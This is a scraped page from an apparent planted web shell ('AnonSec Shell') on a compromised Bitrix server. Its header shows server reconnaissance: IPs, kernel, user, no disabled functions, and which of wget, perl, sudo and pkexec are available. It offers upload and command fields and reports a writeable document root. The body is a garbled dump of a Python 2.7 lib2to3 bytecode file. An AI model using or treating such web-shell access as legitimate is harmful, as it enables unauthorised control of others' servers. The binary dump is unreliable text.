AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.12.74.66
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/983/cwd/lib64/python2.7/lib2to3/fixes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/983/cwd/lib64/python2.7/lib2to3/fixes/fix_print.pyc
�
ۜSec@s�dZddlmZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZej
d�Zdejfd	��YZd
S(sFixer for print.

Change:
    'print'          into 'print()'
    'print ...'      into 'print(...)'
    'print ... ,'    into 'print(..., end=" ")'
    'print >>x, ...' into 'print(..., file=x)'

No changes are applied if print_function is imported from __future__

i(tpatcomp(tpytree(ttoken(t
fixer_base(tNametCalltCommatStringtis_tuples"atom< '(' [atom|STRING|NAME] ')' >tFixPrintcBs&eZeZdZd�Zd�ZRS(sP
              simple_stmt< any* bare='print' any* > | print_stmt
              cCs2|st�|jd�}|rJ|jttd�gd|j��dS|jdtd�ksit�|jd}t|�dkr�tj	|d�r�dSd}}}|r�|dt�kr�|d }d}n|r3|dtj
tjd�kr3t|�d	kst�|dj�}|d
}ng|D]}|j�^q:}	|	rhd|	d_n|dk	s�|dk	s�|dk	r
|dk	r�|j|	dtt|���n|dk	r�|j|	d
tt|���n|dk	r
|j|	d|�q
nttd�|	�}
|j|
_|
S(Ntbareuprinttprefixiii����t u>>iiuusepuendufile(tAssertionErrortgettreplaceRRRtchildrentlentparend_exprtmatchtNoneRRtLeafRt
RIGHTSHIFTtclonet	add_kwargRtrepr(tselftnodetresultst
bare_printtargstseptendtfiletargtl_argstn_stmt((s//usr/lib64/python2.7/lib2to3/fixes/fix_print.pyt	transform%s>

%
	%
$""cCsrd|_tj|jjt|�tjtjd�|f�}|ra|j	t
��d|_n|j	|�dS(Nuu=u (RRtNodetsymstargumentRRRtEQUALtappendR(Rtl_nodests_kwdtn_exprt
n_argument((s//usr/lib64/python2.7/lib2to3/fixes/fix_print.pyRMs		(t__name__t
__module__tTruet
BM_compatibletPATTERNR%R(((s//usr/lib64/python2.7/lib2to3/fixes/fix_print.pyR	s	(N(t__doc__tRRtpgen2RRt
fixer_utilRRRRRtcompile_patternRtBaseFixR	(((s//usr/lib64/python2.7/lib2to3/fixes/fix_print.pyt<module>s(	

Anon7 - 2022
AnonSec Team